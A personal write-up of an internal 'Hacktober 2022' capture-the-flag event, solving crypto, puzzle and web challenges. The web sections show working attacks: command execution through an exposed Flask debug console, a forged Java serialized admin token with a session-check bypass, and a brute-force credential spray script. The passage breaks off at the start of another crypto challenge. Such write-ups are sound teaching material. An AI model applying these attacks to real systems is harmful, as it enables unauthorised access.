Hacktober 2022
Hacktober is part of the security month October celebrations at my organization. A great experience to be part of and hack on.
Challenge list
- Sm4ll 🤏
- Language of Gods 🗣
- Invisibility 🙈
- Rampage 🐞
- Map map 🧩
- Modular arithmetic 🧮
- Serial killer ☠️
- Basic Web Login 1 🕸
- Phi_pHi_phI 🗝️
- JWT Token 🪙
- Really_W3ak 🔐
- Zippo Zipped 🗄
Sm4ll 🤏
Crypto
This was the first challenge under the Crypto category. From the name and the challenge instructions it was clear it was something meant to be just a starter for Crypto.
Challenge instructions:
e : 3
n : 14765134568806152380780177404154379680157040230731901116353016162964681854643419545272768229048378188500692186311711971409968124480927254907468083269653523327630158185734310958362033077646043542383054670674171052587899204361134700584572459629071848166981160988717625552212126387741734276602999549288330861599376036039530488202175376193130850009446769741050982169300916990092646546337482900162177684652409252900439784938827069053004233947304644066471498232649486591080194031440952809932046199120487596759504590419575284525037462347888619653142049456789290070496111786961265998678923040521931493766189863302763399965481
c : 159824947944933145124838839627897472995222726725778699635746503980986937892371422645291581403491484060915790946238870994753794392630740865865372702551885464356303363652373929602662877152309665601671912554391480434375650725791107527216573236081089654751390509689517054062236946737731831215596006696199941703676597321808361467919236770950757
From the instructions it is clear that the exponent e
used in the RSA encryption is very small compared to the value of n
. Why is this important ?
The formula for encryption is as given below:
c = me mod(n)
In this above formula it is clear that if n
is sufficiently large then the modulus has no effect on the encryption and the cipher text reduces to an exponentiation of the message i.e the below formula:
c = me
Due to this the message m
can be easily retrieved by inverting the exponentiation.
We use the below code to invert the exponentiation and convert the resultant long
value to bytes
.
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/small]
└─$ python3 -c "from Crypto.Util.number import long_to_bytes;from sympy import cbrt;m=cbrt(159824947944933145124838839627897472995222726725778699635746503980986937892371422645291581403491484060915790946238870994753794392630740865865372702551885464356303363652373929602662877152309665601671912554391480434375650725791107527216573236081089654751390509689517054062236946737731831215596006696199941703676597321808361467919236770950757);print(long_to_bytes(m))"
We obtain the flag ZCTF2022{e_is_too_sm4ll_better_e_next_time_pls}
by running the above code.
Language of Gods 🗣
Misc
This was one of the miscellaneous challenges. It required some logic to solve and follow the instructions.
Click here to view the Challenge Instructions
are you good with languages?
Astra Planeta :
The Astra Planeta were a group of five gods from Greek mythology, who were sometimes also referred to as the Astra.
Pyroeis, meaning Fiery One (Mars) is one of the Astra planeta tells the story of ancient greek glory in her/his language.
rchd qd zykdqncfcn wgc fhxcf, bfywczwyf, skn lswgcf yl sxx vynd skn gheskd.
which means
zeus is considered the ruler, protector, and father of all gods and humans.
tskwgyd ykc yl wgc qeeyfwsx gyfdcd yokcn jp wgc gcfy bcxchd skn gqd dyk szgqxxcd.
which means
xanthos one of the immortal horses owned by the hero peleus and his son achilles.
asdyk vfccm gcfy,mcfcd eykdwfyhd lcesxc dbqfqwd yl uqyxckw ncswg sfc ihsxqwp zgsfszwcfd.
which means
jason – greek hero,keres monstrous female spirits of violent death are quality characters.
He/she is saying somethin
qk wgc ckn wgc gcfy q xqmc wgc eydw,esp pyh zsk zsxx gqe wgc uqxxqsk yf ogswcucf.....pyhf lxsv qd {mfswyd_wgc_sxeqvgwp_vyn_yl_osf}
Can you help me translate this?
Hint: Add ZCTF2022{}
From the instructions it is clear that the text is encoded in different English characters. We have to decode it using the given samples.
We write a simple python script to create a character to character map using the given samples and also verify if any of the characters have contradicting character maps.
Click here to view the script
from curses.ascii import isalpha
# map of gibberish to english
vals = {
"rchd qd zykdqncfcn wgc fhxcf, bfywczwyf, skn lswgcf yl sxx vynd skn gheskd.": "zeus is considered the ruler, protector, and father of all gods and humans.",
"tskwgyd ykc yl wgc qeeyfwsx gyfdcd yokcn jp wgc gcfy bcxchd skn gqd dyk szgqxxcd.": "xanthos one of the immortal horses owned by the hero peleus and his son achilles.",
"asdyk vfccm gcfy,mcfcd eykdwfyhd lcesxc dbqfqwd yl uqyxckw ncswg sfc ihsxqwp zgsfszwcfd.": "jason greek hero,keres monstrous female spirits of violent death are quality characters.",
}
chr_map = {}
# creating character by character map
for x, y in vals.items():
assert len(x) == len(y)
for c, d in zip(x, y):
if c in chr_map.keys() and d != chr_map[c]:
# ensuring no character has conflicting mapping character
print(
"Error: key - {0}, new val - {1}, old val - {2}".format(
c, d, chr_map[c]
)
)
else:
chr_map[c] = d
print(chr_map)
# decode using the generated character map
val = "qk wgc ckn wgc gcfy q xqmc wgc eydw,esp pyh zsk zsxx gqe wgc uqxxqsk yf ogswcucf.....pyhf lxsv qd {mfswyd_wgc_sxeqvgwp_vyn_yl_osf}"
result = ""
for c in val:
if c.isalpha():
result = result + chr_map[c]
else:
result = result + c
print(result)
By running the above script we get the below output:
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/languageofgods]
└─$ python3 decipher.py
{'r': 'z', 'c': 'e', 'h': 'u', 'd': 's', ' ': ' ', 'q': 'i', 'z': 'c', 'y': 'o', 'k': 'n', 'n': 'd', 'f': 'r', 'w': 't', 'g': 'h', 'x': 'l', ',': ',', 'b': 'p', 's': 'a', 'l': 'f', 'v': 'g', 'e': 'm', '.': '.', 't': 'x', 'o': 'w', 'j': 'b', 'p': 'y', 'a': 'j', 'm': 'k', 'u': 'v', 'i': 'q'}
in the end the hero i like the most,may you can call him the villian or whatever.....your flag is {kratos_the_almighty_god_of_war}
We use the hint to prefix ZCTF2022
and get the flag as ZCTF2022{kratos_the_almighty_god_of_war}
.
Invisibility 🙈
Misc
This was the first challenge in the miscellaneous category and supposed to be pretty easy. Let us go through the challenge instructions and then the step by step process involved to solve it.
Challenge instructions:
An Exploding Fish from The Village Hidden in the Rain entered Konoha for destruction. Lord Fourth managed to hold it in a computer file and seal it with the Eight Trigrams Sealing Style.
Team 7, your task is to find the fish that went in disguise as letters followed by numbers inside the computer file. You will find your key to unlock the seal on your investigation path. Good luck Team 7.
The challenge instructions also contained a link to a file which can be downloaded here.
Given the above details we first download the file which is named as invisibility.png
.
As a standard rule you should never go by the file name’s extension and always check via the file magic number. There are few tools like file
command and binwalk
which help us determine the actual file type.
We run the below command and get the output as seen:
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/invisibility]
└─$ file ./invisiblity.png
invisiblity.png: Zip archive data, at least v2.0 to extract
It clearly shows that the file is not actually a PNG but a zip file. So we go ahead and rename the file as invisibility.zip
.
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/invisibility]
└─$ mv invisibility.png invisibility.zip
The natural step next is to list the files present in the zip. We use the unzip command and see the output.
Click here to view the output
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/invisibility]
└─$ unzip -l invisiblity.zip
Archive: invisiblity.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-10-18 15:54 invisiblity/
0 2022-10-18 15:53 invisiblity/.secret/
0 2022-10-18 15:52 invisiblity/.secret/a/
0 2022-10-18 15:52 invisiblity/.secret/a/s
0 2022-10-18 15:52 invisiblity/.secret/b/
0 2022-10-18 15:52 invisiblity/.secret/b/y
0 2022-10-18 15:52 invisiblity/.secret/c/
0 2022-10-18 15:52 invisiblity/.secret/c/d
0 2022-10-18 15:52 invisiblity/.secret/d/
0 2022-10-18 15:52 invisiblity/.secret/d/2
0 2022-10-18 15:52 invisiblity/.secret/e/
0 2022-10-18 15:52 invisiblity/.secret/e/B
0 2022-10-18 15:52 invisiblity/.secret/f/
0 2022-10-18 15:52 invisiblity/.secret/f/n
0 2022-10-18 15:52 invisiblity/.secret/g/
0 2022-10-18 15:52 invisiblity/.secret/g/p
0 2022-10-18 15:52 invisiblity/.secret/h/
0 2022-10-18 15:52 invisiblity/.secret/h/F
0 2022-10-18 15:52 invisiblity/.secret/i/
0 2022-10-18 15:52 invisiblity/.secret/i/P
0 2022-10-18 15:52 invisiblity/.secret/j/
0 2022-10-18 15:52 invisiblity/.secret/j/Z
0 2022-10-18 15:52 invisiblity/.secret/k/
0 2022-10-18 15:52 invisiblity/.secret/k/5
0 2022-10-18 15:52 invisiblity/.secret/l/
0 2022-10-18 15:52 invisiblity/.secret/l/D
0 2022-10-18 15:52 invisiblity/.secret/m/
0 2022-10-18 15:52 invisiblity/.secret/m/G
0 2022-10-18 15:52 invisiblity/.secret/n/
0 2022-10-18 15:52 invisiblity/.secret/n/a
0 2022-10-18 15:52 invisiblity/.secret/o/
0 2022-10-18 15:52 invisiblity/.secret/o/Z
0 2022-10-18 15:52 invisiblity/.secret/p/
0 2022-10-18 15:52 invisiblity/.secret/p/o
0 2022-10-18 15:52 invisiblity/.secret/q/
0 2022-10-18 15:52 invisiblity/.secret/q/W
0 2022-10-18 15:52 invisiblity/.secret/r/
0 2022-10-18 15:52 invisiblity/.secret/r/M
0 2022-10-18 15:52 invisiblity/.secret/s/
0 2022-10-18 15:52 invisiblity/.secret/s/T
0 2022-10-18 15:52 invisiblity/.secret/t/
0 2022-10-18 15:52 invisiblity/.secret/t/d
0 2022-10-18 15:52 invisiblity/.secret/u/
0 2022-10-18 15:52 invisiblity/.secret/u/s
0 2022-10-18 15:52 invisiblity/.secret/v/
0 2022-10-18 15:52 invisiblity/.secret/v/Q
0 2022-10-18 15:52 invisiblity/.secret/w/
0 2022-10-18 15:52 invisiblity/.secret/w/R
0 2022-10-18 15:52 invisiblity/.secret/x/
0 2022-10-18 15:52 invisiblity/.secret/x/e
0 2022-10-18 15:52 invisiblity/.secret/y/
0 2022-10-18 15:52 invisiblity/.secret/y/v
0 2022-10-18 15:52 invisiblity/.secret/z/
0 2022-10-18 15:52 invisiblity/.secret/z/U
0 2022-10-18 15:52 invisiblity/.secret/1/
0 2022-10-18 15:52 invisiblity/.secret/1/8
0 2022-10-18 15:52 invisiblity/.secret/2/
0 2022-10-18 15:52 invisiblity/.secret/2/B
0 2022-10-18 15:52 invisiblity/.secret/3/
0 2022-10-18 15:52 invisiblity/.secret/3/N
0 2022-10-18 15:52 invisiblity/.secret/4/
0 2022-10-18 15:52 invisiblity/.secret/4/x
0 2022-10-18 15:52 invisiblity/.secret/5/
0 2022-10-18 15:52 invisiblity/.secret/5/4
0 2022-10-18 15:52 invisiblity/.secret/6/
0 2022-10-18 15:52 invisiblity/.secret/6/i
0 2022-10-18 15:52 invisiblity/.secret/7/
0 2022-10-18 15:52 invisiblity/.secret/7/o
0 2022-10-18 15:52 invisiblity/.secret/8/
0 2022-10-18 15:52 invisiblity/.secret/8/S
0 2022-10-18 15:52 invisiblity/.secret/9/
0 2022-10-18 15:52 invisiblity/.secret/9/e
0 2022-10-18 15:52 invisiblity/.secret/10/
0 2022-10-18 15:52 invisiblity/.secret/10/U
0 2022-10-18 15:52 invisiblity/.secret/11/
0 2022-10-18 15:52 invisiblity/.secret/11/L
0 2022-10-18 15:52 invisiblity/.secret/12/
0 2022-10-18 15:52 invisiblity/.secret/12/H
0 2022-10-18 15:52 invisiblity/.secret/13/
0 2022-10-18 15:52 invisiblity/.secret/13/w
0 2022-10-18 15:52 invisiblity/.secret/14/
0 2022-10-18 15:52 invisiblity/.secret/14/s
0 2022-10-18 15:52 invisiblity/.secret/15/
0 2022-10-18 15:52 invisiblity/.secret/15/r
0 2022-10-18 15:52 invisiblity/.secret/16/
0 2022-10-18 15:52 invisiblity/.secret/16/r
0 2022-10-18 15:52 invisiblity/.secret/17/
0 2022-10-18 15:52 invisiblity/.secret/17/2
0 2022-10-18 15:52 invisiblity/.secret/18/
0 2022-10-18 15:52 invisiblity/.secret/18/y
0 2022-10-18 15:52 invisiblity/.secret/19/
0 2022-10-18 15:52 invisiblity/.secret/19/m
0 2022-10-18 15:52 invisiblity/.secret/20/
0 2022-10-18 15:52 invisiblity/.secret/20/3
0 2022-10-18 15:52 invisiblity/.secret/21/
0 2022-10-18 15:52 invisiblity/.secret/21/A
0 2022-10-18 15:52 invisiblity/.secret/22/
0 2022-10-18 15:52 invisiblity/.secret/22/M
0 2022-10-18 15:52 invisiblity/.secret/23/
0 2022-10-18 15:52 invisiblity/.secret/23/m
0 2022-10-18 15:52 invisiblity/.secret/24/
0 2022-10-18 15:52 invisiblity/.secret/24/d
0 2022-10-18 15:52 invisiblity/.secret/25/
0 2022-10-18 15:52 invisiblity/.secret/25/c
0 2022-10-18 15:52 invisiblity/.secret/26/
0 2022-10-18 15:52 invisiblity/.secret/26/5
0 2022-10-18 15:52 invisiblity/.secret/27/
0 2022-10-18 15:52 invisiblity/.secret/27/q
0 2022-10-18 15:52 invisiblity/.secret/28/
0 2022-10-18 15:52 invisiblity/.secret/28/Q
0 2022-10-18 15:52 invisiblity/.secret/29/
0 2022-10-18 15:52 invisiblity/.secret/29/R
0 2022-10-18 15:52 invisiblity/.secret/30/
0 2022-10-18 15:52 invisiblity/.secret/30/d
0 2022-10-18 15:52 invisiblity/.secret/31/
0 2022-10-18 15:52 invisiblity/.secret/31/S
0 2022-10-18 15:52 invisiblity/.secret/32/
0 2022-10-18 15:52 invisiblity/.secret/32/+
0 2022-10-18 15:52 invisiblity/.secret/33/
0 2022-10-18 15:52 invisiblity/.secret/33/8
0 2022-10-18 15:52 invisiblity/.secret/34/
0 2022-10-18 15:52 invisiblity/.secret/34/i
0 2022-10-18 15:52 invisiblity/.secret/35/
0 2022-10-18 15:52 invisiblity/.secret/35/2
0 2022-10-18 15:52 invisiblity/.secret/36/
0 2022-10-18 15:52 invisiblity/.secret/36/q
0 2022-10-18 15:52 invisiblity/.secret/37/
0 2022-10-18 15:52 invisiblity/.secret/37/D
0 2022-10-18 15:52 invisiblity/.secret/38/
0 2022-10-18 15:52 invisiblity/.secret/38/o
0 2022-10-18 15:52 invisiblity/.secret/39/
0 2022-10-18 15:52 invisiblity/.secret/39/r
0 2022-10-18 15:52 invisiblity/.secret/40/
0 2022-10-18 15:52 invisiblity/.secret/40/H
0 2022-10-18 15:52 invisiblity/.secret/41/
0 2022-10-18 15:52 invisiblity/.secret/41/M
0 2022-10-18 15:52 invisiblity/.secret/42/
0 2022-10-18 15:52 invisiblity/.secret/42/q
0 2022-10-18 15:52 invisiblity/.secret/43/
0 2022-10-18 15:52 invisiblity/.secret/43/p
0 2022-10-18 15:52 invisiblity/.secret/44/
0 2022-10-18 15:52 invisiblity/.secret/44/G
0 2022-10-18 15:52 invisiblity/.secret/45/
0 2022-10-18 15:52 invisiblity/.secret/45/S
0 2022-10-18 15:52 invisiblity/.secret/46/
0 2022-10-18 15:52 invisiblity/.secret/46/K
0 2022-10-18 15:52 invisiblity/.secret/47/
0 2022-10-18 15:52 invisiblity/.secret/47/0
0 2022-10-18 15:52 invisiblity/.secret/48/
0 2022-10-18 15:52 invisiblity/.secret/48/m
0 2022-10-18 15:52 invisiblity/.secret/49/
0 2022-10-18 15:52 invisiblity/.secret/49/f
0 2022-10-18 15:52 invisiblity/.secret/50/
0 2022-10-18 15:52 invisiblity/.secret/50/w
0 2022-10-18 15:52 invisiblity/.secret/51/
0 2022-10-18 15:52 invisiblity/.secret/51/y
0 2022-10-18 15:52 invisiblity/.secret/52/
0 2022-10-18 15:52 invisiblity/.secret/52/M
0 2022-10-18 15:52 invisiblity/.secret/53/
0 2022-10-18 15:52 invisiblity/.secret/53/L
0 2022-10-18 15:52 invisiblity/.secret/54/
0 2022-10-18 15:52 invisiblity/.secret/54/n
0 2022-10-18 15:52 invisiblity/.secret/55/
0 2022-10-18 15:52 invisiblity/.secret/55/B
0 2022-10-18 15:52 invisiblity/.secret/56/
0 2022-10-18 15:52 invisiblity/.secret/56/5
0 2022-10-18 15:52 invisiblity/.secret/57/
0 2022-10-18 15:52 invisiblity/.secret/57/l
0 2022-10-18 15:52 invisiblity/.secret/58/
0 2022-10-18 15:52 invisiblity/.secret/58/3
0 2022-10-18 15:52 invisiblity/.secret/59/
0 2022-10-18 15:52 invisiblity/.secret/59/w
0 2022-10-18 15:52 invisiblity/.secret/60/
0 2022-10-18 15:52 invisiblity/.secret/60/Q
0 2022-10-18 15:52 invisiblity/.secret/61/
0 2022-10-18 15:52 invisiblity/.secret/61/=
0 2022-10-18 15:52 invisiblity/.secret/62/
0 2022-10-18 15:52 invisiblity/.secret/62/=
13 2022-10-18 15:54 invisiblity/flag.txt
--------- -------
13 179 files
On inspecting the output of the unzip
command we find that it contains around 64
folders and 1
file per folder.
The name of the files seem to form a Base64 encoded text. So we copy the output of the above command to a text editor and create a string using the file names alone.
The final string obtained by concatenating the file names can be seen below:
syd2BnpFPZ5DGaZoWMTdsQRevU8BNx4ioSeULHwsrr2ym3AMmdc5qQRdS+8i2qDorHMqpGSK0mfwyMLnB5l3wQ=
We try to decode this content but we do not get a flag per se. So we understand that this could be an encrypted content represented as a Base64 encoded string.
We also notice another file within the zip named as flag.txt
the contents of which are key: zctf2022
. This also points towards the fact that the content is encrypted and the possible key is zctf2022
.
Now one last part that we need to figure out is the type of encryption that could have been used.
We use this online tool to speed up the iteration of the decryption and transformation process. It has support for various decryption schemes that can be tried out easily.
However in hindisight going through the challenge instructions again gives us a clue on the encryption scheme. The clue talks about fish
and there is an encryption scheme called Blowfish
.
So we run the Blowfish
decryption algorithm using the above website with the below parameters:
From Base64
transformation
Blowfish
decryption
Key
as stated above
IV
same as key
UTF-8
forKey
andIV
format
Raw
for input format
ECB
mode for block cipher
On running the above transformation we get the below string which is again Base64 encoded:
WkNURjIwMjJ7RzBPRF9KMCRfWTB1X0YwVW45X3Q1M19mTEBnX2gzNjN9
We Base64 decode it once more to get the flag as below:
ZCTF2022{G0OD_J0$_Y0u_F0Un9_t53_fL@g_h363}
. You can check the whole transformation here.
Rampage 🐞
Web
It was the web challenge released in the second wave of challenges and was a bit easier than the previous two. It was more of a Flask
package behavioural issue that had to be exploited.
Challenge instructions:
The developer of the application made a huge mistake which made the whole organization go rampage.
Can you find his mistake? anyway the application died and all it showing a source page.
Link: https://h22-ctf-0ecwn9kp0g.dummydomain.team/
The link had the below source code:
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def home():
return render_template('base.html')
if __name__ == '__main__':
app.run("0.0.0.0",debug=True)
From the source and the challenge instructions it was very clear that we had to exploit some coding language or package specific vulnerability. Looking at source code the only thing that is wrong is the part where debug=True
is set.
On quickly searching for debug
behaviour of Flask
it was clear that the Python
console is exposed at /console
url of the same host and port on which the application was running.
Thus invoking the below URL gave us an interactive Python
console.
https://h22-ctf-0ecwn9kp0g.dummydomain.team/console
Note: Link might not be active
Once we have the server’s Python
console, all we had to do was to establish a piped subprocess to retrieve the flag from most probably a file. We can also execute the required ls
command to get the file name as seen below.
>>> import subprocess;out = subprocess.Popen(['ls'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);
b'app.py\nflag.txt\nrequirements.txt\ntemplates\n'
>>> import subprocess;out = subprocess.Popen(['cat', 'flag.txt'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);
b'ZCTF2022{N3v3r_3v3r_Switch_0n_deBug_m0d3_It_HuRts}\n'
Note: However while trying this, there were some repeated attempts required as there was some obscure URL requested not found error.
From the above, we obtain the final flag as ZCTF2022{N3v3r_3v3r_Switch_0n_deBug_m0d3_It_HuRts}
.
Map map 🧩
Misc
It was another interesting challenge under the miscellaneous category which was geared towards beginners. It needed only basic logic and understanding to get it right.
Challenge instructions:
Map me in the correct order ! you will get the reward “ “ , “▄” , “▀”,”█”
222222222222222222222222222222222
222222222222222222222222222222222
222213333312233143441213333312222
222212111212431122441212111212222
222212333212341233324212333212222
222233333332343214123233333332222
222233422133431231244422134442222
222232411434234132422312432332222
222243111332411241143332143122222
222212431233243242443121233432222
222232222333123231421333132232222
222213333312142434221232114212222
222212111212231312421331331312222
222212333212424212121142233232222
222233333332333333332323233332222
222222222222222222222222222222222
222222222222222222222222222222222
From the challenge instructions we make couple of observations. We are given 4 different ASCII character codes and the matrix given also has 4 unique numbers. The challenge title being Map map
it screams out that we need to map the numbers to the ASCII characters.
We had different possible combinations and we write a simple python
script to do the same which is listed below.
map.py:
values = {2: " ", 4: "▄", 3: "▀", 1: "█"}
block_len = len("222222222222222222222222222222222")
nums = "222222222222222222222222222222222222222222222222222222222222222222222213333312233143441213333312222222212111212431122441212111212222222212333212341233324212333212222222233333332343214123233333332222222233422133431231244422134442222222232411434234132422312432332222222243111332411241143332143122222222212431233243242443121233432222222232222333123231421333132232222222213333312142434221232114212222222212111212231312421331331312222222212333212424212121142233232222222233333332333333332323233332222222222222222222222222222222222222222222222222222222222222222222222"
patt = ""
count = 0
for ch in nums:
ich = int(ch)
patt = patt + values[ich]
count += 1
if count >= block_len:
count = 0
print(patt)
patt = ""
The above script gives the below output which gives us a QR code. I have used the correct combination in the map values
available in the above code. However I did arrive at it after trying out different combinations.
Click here to view generated QR image
Scanning the QR code gives us ZCTF2022{0h_mY_QR_h3r0}
as the required flag.
Modular arithmetic 🧮
Crypto
As part of the Crypto challenges, this was one of the simpler challenges. It was mainly based on the vulnerability that modulo arithmetic poses if the multiplicative factor of the key is not sufficiently larger than the modulus.
Challenge instructions:
Welcome to the modular arithmetic problem! all you have to do is retrieve the flag ! ez cap right?
FLAG * 119948116572587480997985582334842499834139017074740244172893978641231971653679284885535770764885244146275107129639174950656129550741242015487644374633039028514213604207859710602579233565386512264983884893313264852933857570177107480942356063931856766071742206951696545246969307478515463331847910116687811549789 % 27798671172746123316367501554477714103201077664553055338381724229489308743252202673118338431986735820935502500168807967396109872212519718089843955114568715431983462347218151678596224481078105682883598874441804051055671916685902451927596655109511274227936790635451155327589740397737027253878906663847852789425886906175306456096029392317222257565763986277028821850346539761626776804138546602611623627585179746501285952243310794924241242006941368358489947933506553709491278176484915039735992701770209543217307930974195820136254927926713710676823548977484140850943548032532442073006093861313068867360841315453657119523669
Result : 320938689236299679882228352461175650128560680204086548880945883660230710225726172454365953302228156195553468796283457018982013991926073747557019778673497352651787839537737262282694815984977750655402260723735979848907965825257552421064475750167621301717001579464850917047033379556568052340366800783687164883470058975127916314456063209401613050634931788089301208390828770979601290161172981353
From the instructions it is clear that there is no real RSA involved here. It is purely based on modulo operation. Another thing that we can immediately note is that the multiplying number has less than half the digits as compared to the number used for modulo.
This means we are performing a modulo using a very large number and as the multiplying number is very small, and message generally we are looking for is a small flag, the modulo would have been of no use i.e the quotient would have been the value 0
.
So we try dividing the result by the multiplied number and convert the long to bytes to check for the flag format. We use the below script to do the same.
find_modulo.py
# FLAG * K % mod_e = cip
k = 119948116572587480997985582334842499834139017074740244172893978641231971653679284885535770764885244146275107129639174950656129550741242015487644374633039028514213604207859710602579233565386512264983884893313264852933857570177107480942356063931856766071742206951696545246969307478515463331847910116687811549789
mod_e = 27798671172746123316367501554477714103201077664553055338381724229489308743252202673118338431986735820935502500168807967396109872212519718089843955114568715431983462347218151678596224481078105682883598874441804051055671916685902451927596655109511274227936790635451155327589740397737027253878906663847852789425886906175306456096029392317222257565763986277028821850346539761626776804138546602611623627585179746501285952243310794924241242006941368358489947933506553709491278176484915039735992701770209543217307930974195820136254927926713710676823548977484140850943548032532442073006093861313068867360841315453657119523669
cip = 320938689236299679882228352461175650128560680204086548880945883660230710225726172454365953302228156195553468796283457018982013991926073747557019778673497352651787839537737262282694815984977750655402260723735979848907965825257552421064475750167621301717001579464850917047033379556568052340366800783687164883470058975127916314456063209401613050634931788089301208390828770979601290161172981353
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(cip // k))
The output of running the above script gives us the required flag ZCTF2022{modular_arithmetic_r0cks}
.
Serial killer ☠️
Web
The category and the name of this challenge clearly pointed out that it was some kind of object deserialization vulnerability. We were supposed to inject a newly crafted/serialized object to get the flag.
Challenge instructions:
Challenge URL: https://h22-ctf-i16omaetxx.dummydomain.team/App/
Source: link Password: zCtf_2022
Note: The challenge URL might not be active now. The source code download is available here.
On analyzing the URL we are presented with a login page. Also we unzip the source link using the given password to obtain two files, one is the application’s war file and another is a library used to generate a serialized object.
We decompile the application’s jar files using our favourite IDE or any Java decompilation tool online and go through the source code to note the below key points:
Info: You can download the decompiled source for this challenge readily here.
- On checking the file Home.java we see that the flag is available in the
/flag
url. - However the
/flag
url can only be accessed with a token that passes theHelper.isAdmin(token)
check. - The token is obtained from the cookie named
token
and from Login.java it is clear that thetoken
cookie is set to the Base64 encoded serializedAuthToken
object. - The
Helper.isAdmin(token)
check verifies if theAuthToken
object has the role set toRole.ADMIN
. - Another important point is the fact that there is proper whitelisting of specific classes which alone pass through the
SecureObjectInputStream.java
and get deserialized. So its NOT a random deserialization vulnerability where we can get a reverse shell.
From the above we understand that we need to craft a serialized AuthToken object that has username set to admin
and role set to admin
.
To do the same, we go ahead and write a small Java code that depends on the source code of the application. So we create a Java class within the WEB-INF/classes
folder present inside the App.war
file with the below code.
SerializedAuthToken.java
public class SerializedAuthToken {
public static void main(String args[]) throws Exception {
AuthToken authToken = new AuthToken("user");
authToken.setUsername("admin");
authToken.setRole(Role.ADMIN);
System.out.println(Helper.serialize(authToken));
}
}
Compile and run this code to get the serialized Base64 encoded string.
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/serial_killer]
└─$ javac SerializedAuthToken.java
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/serial_killer]
└─$ java SerializedAuthToken
rO0ABXNyAAlBdXRoVG9rZW6F6PRQzP741QIAAkwABHJvbGV0AAZMUm9sZTtMAAh1c2VybmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwfnIABFJvbGUAAAAAAAAAABIAAHhyAA5qYXZhLmxhbmcuRW51bQAAAAAAAAAAEgAAeHB0AAVBRE1JTnQABWFkbWlu
Now we have the payload. We can immediately change the session token during login, by changing the value for the session key token
.
However this does not solve the challenge and the page does not get opened. So next I went on to analyze the exact authentication code available in Flag.java
and highlight the specific checks that we need to bypass:
line 26: if (Helper.isAdmin(token) && sessionId != null) {
line 39: if (sc.contains(sessionId.getValue())) {
The first check is bypassed by changing the token
value to the new crafted seriaized payload and setting the JSESSIONID
value to some non null value. To bypass the second check we need to set the JSESSIONID
with some valid session ID that is already available in the /zctf/jsessions
file. However the check has a security issue. It uses the contains
check which means we can modify the sessionId
value to any random character which is generally present in a session id that is generated by Tomcat session.
So our final bypass is to modify the JSESSIONID
to some random character(s) that are generally present in the session ids.
Doing this gives us the flag page with the required flag.
Basic Web Login 1 🕸
Web
This was the first Web challenge and was very clear that brute forcing was the only way out. However I was reluctant to brute force due to which it dragged to the last moment for me to solve this challenge.
Challenge instructions:
An Ops team member usually saves his account details in google chrome and it got leaked in the dark web through browser sync and vulnerable extensions from his personal machine.
The username and password is suspected to be present here - Link
https://h22-ctf-kr2i71j106.dummydomain.team/
Note: The link just contained a list of strings that are suspected to be the username and/or password.
As stated before this was a password spray attack and we had to run a random username and password attack. I did try using the Intruder
tool in Burpsuite. However there are lot of restrictions in the tool and almost did not solve for me.
So finally I ended up creating a python
script for the same which can be seen below.
Note: Before running the python script please create a password list file named
passlist.txt
in the same folder.
Click here to view solve.py
import requests
from tqdm import tqdm
with open("passlist.txt", "r") as fp:
leaked_creds = fp.read().splitlines()
print(leaked_creds, len(leaked_creds))
URL = "https://h22-ctf-kr2i71j106.dummydomain.team/validate"
headers = {
"Host": "h22-ctf-kr2i71j106.dummydomain.team",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://h22-ctf-kr2i71j106.dummydomain.team",
"DNT": "1",
"Connection": "keep-alive",
"Referer": "https://h22-ctf-kr2i71j106.dummydomain.team/login",
"Cookie": "AWSALB=O+/5TF41uJ/Z2udNP3tuRE9vqS1LMWrdo7IHNknQm66GDKxC/62whUmMk0Ic6zgHwQM4ILOJh8jX735qO2/GlidDJPOiFWZecbV6OKJiaqCFOVcU2NrGbaorpfkw; AWSALBCORS=O+/5TF41uJ/Z2udNP3tuRE9vqS1LMWrdo7IHNknQm66GDKxC/62whUmMk0Ic6zgHwQM4ILOJh8jX735qO2/GlidDJPOiFWZecbV6OKJiaqCFOVcU2NrGbaorpfkw; session=2e4dcc10-f626-4610-8fbb-688a73b1c0dc",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
}
data = {"username": "abc", "password": "xyz"}
unames = [
"uname1",
"uname2",
]
for u in tqdm(unames):
data["username"] = u
for p in tqdm(leaked_creds):
data["password"] = p
resp = requests.post(URL, data=data, headers=headers)
if (not "Try again! Validation failed" in resp.text) or resp.status_code != 200:
print(str(resp))
print(resp.text)
print(resp.status_code)
print(data)
Another way to reduce the hit space is to select only specific strings from the list which seem to be something apt for an username. It is again just a guess and to reduce the search space and does not guarantee that your hunch will be right.
Sometimes instincts guide you through the challenges.
Finally the specific username turned out to be img3niu$
and the password was 1qaz2wsx
. The required flag was presented to us in the response as ZCTF2022{Th@l@_Fir$tu_Murd3ruu!}
.
Phi_pHi_phI 🗝️
Crypto
This was another crypto challenge which taught me something new. A single prime based encryption which can be exploited easily if n
can be expressed as p
raised to some concrete exponent x
.
Challenge instructions:
I guess its your time to read about Euler!
e = 65537
n = p * p * p
